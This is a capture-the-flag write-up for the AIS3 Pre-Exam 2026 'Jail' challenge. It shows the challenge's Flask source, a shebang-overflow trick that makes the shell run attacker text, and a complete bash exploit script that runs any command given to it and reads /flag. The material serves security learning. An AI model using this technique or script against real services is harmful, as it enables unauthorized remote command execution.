【AIS3 Pre-Exam 2026 Writeup】Misc - Jail
Source first.
The service gave the source from /, but normal HTTP/1.1 was weird for me. The request connected and then waited. HTTP/1.0 returned the file.
curl --http1.0 http://chals1.ais3.org:10001/
Useful code:
#flag is at /flag
from flask import Flask,request,send_file
import os,time,uuid,unicodedata
app = Flask(__name__)
shebang = '#!/usr/local/bin/python3'
@app.route('/')
def index(): return send_file(__file__)
@app.post('/<uid>')
def run(uid):
uuid.UUID(uid)
d = unicodedata.normalize("NFKC", request.data.decode())
assert not any(i in d for i in "()_[]{}.@#")
open(f"data/{uid}","w").write(shebang + d)
os.chmod(f"data/{uid}", 0o755)
os.popen(f"./data/{uid} > ./output/{uid}")
time.sleep(1)
r = open(f"output/{uid}","r").read()
return r
The flag path is already leaked:
/flag
The route needs a valid UUID. The body goes through NFKC first, then these bytes are blocked:
()_[]{}.@#
My first thought was a normal Python jail escape. That did not look nice. No () means no normal function call. No . means attribute access is painful. No _ kills the usual __class__, __subclasses__, and similar routes. NFKC also means full-width tricks will normalize back to normal ASCII before the filter.
So direct Python payload was not a good direction.
The write line looked more interesting:
open(f"data/{uid}","w").write(shebang + d)
There is no newline after the shebang. It is not:
shebang + "\n" + d
The payload is glued right after:
#!/usr/local/bin/python3
If the body starts with print, the file starts like:
#!/usr/local/bin/python3print
That already breaks the interpreter path. But broken interpreter alone is not enough. I need a useful execution path.
The next line matters:
os.popen(f"./data/{uid} > ./output/{uid}")
os.popen runs through a shell. When shell executes a file and the kernel returns ENOEXEC, shell can fallback and read the file as a shell script.
Local small scripts confirmed this behavior. A file without a valid executable format can still run as shell script when called through /bin/sh -c. Here, the first line starts with #, so shell treats it as a comment.
The only missing part was making the kernel reject the shebang parsing.
Linux only reads a limited buffer for shebang parsing. A long first line can make the newline disappear from that buffer. Then the kernel does not treat it as a valid shebang script and returns ENOEXEC.
The payload shape becomes simple:
AAAA....AAAA
cat /flag
After the server prepends the shebang, the file is:
#!/usr/local/bin/python3AAAAAAAAAAAAAAAAAAAA...
cat /flag
Kernel rejects it because the first line is too long. Shell fallback reads it. First line is a comment. Second line runs.
300 As was enough.
"A" * 300 + "\ncat /flag\n"
There was one HTTP trap. At first some POST requests returned empty output, so I was not sure if the payload idea was wrong.
The bug was request shape.
The server reads:
request.data.decode()
If curl sends form content type:
Content-Type: application/x-www-form-urlencoded
Flask may parse the body as form data, and request.data can become empty. No payload in the generated file. No output. Wrong HTTP shape, not wrong exploit idea.
Clearing the header fixed it:
-H 'Content-Type:'
HTTP/1.0 stayed in the final request because it was the shape that worked cleanly during source fetch and POST testing.
Before reading flag, command execution was tested with id.
./solve.sh http://chals1.ais3.org:10001 'id'
The response showed:
uid=999(appuser) gid=999(appgroup) groups=999(appgroup)
So the file really became shell script.
Full exploit script:
#!/usr/bin/env bash
set -euo pipefail
host="${1:-http://chals1.ais3.org:10001}"
cmd="${2:-cat /flag}"
uid="$(python3 - <<'PY'
import uuid
print(uuid.uuid4())
PY
)"
payload="$(mktemp)"
response="${RESPONSE:-last_response.txt}"
trap 'rm -f "$payload"' EXIT
python3 - "$cmd" > "$payload" <<'PY'
import sys
cmd = sys.argv[1]
sys.stdout.write("A" * 300 + "\n" + cmd + "\n")
PY
echo "[*] URL: $host/$uid"
echo "[*] command: $cmd"
echo "[*] payload bytes: $(wc -c < "$payload")"
curl --http1.0 -sS --max-time 20 \
-H 'Content-Type:' \
--data-binary "@$payload" \
"$host/$uid" \
-o "$response"
echo "[*] response bytes: $(wc -c < "$response")"
echo "[*] saved response: $response"
echo "[*] raw response with visible line endings:"
sed -n 'l' "$response"
Run:
chmod +x solve.sh
./solve.sh
The raw response:
#!/bin/true
#AIS3{5H3_BA_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_NG!}
The flag line has a leading # because /flag itself is written like shell comment text. Extract only the AIS3{...} part:
grep -o 'AIS3{[^}]*}' last_response.txt
AIS3{5H3_BA_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_NG!}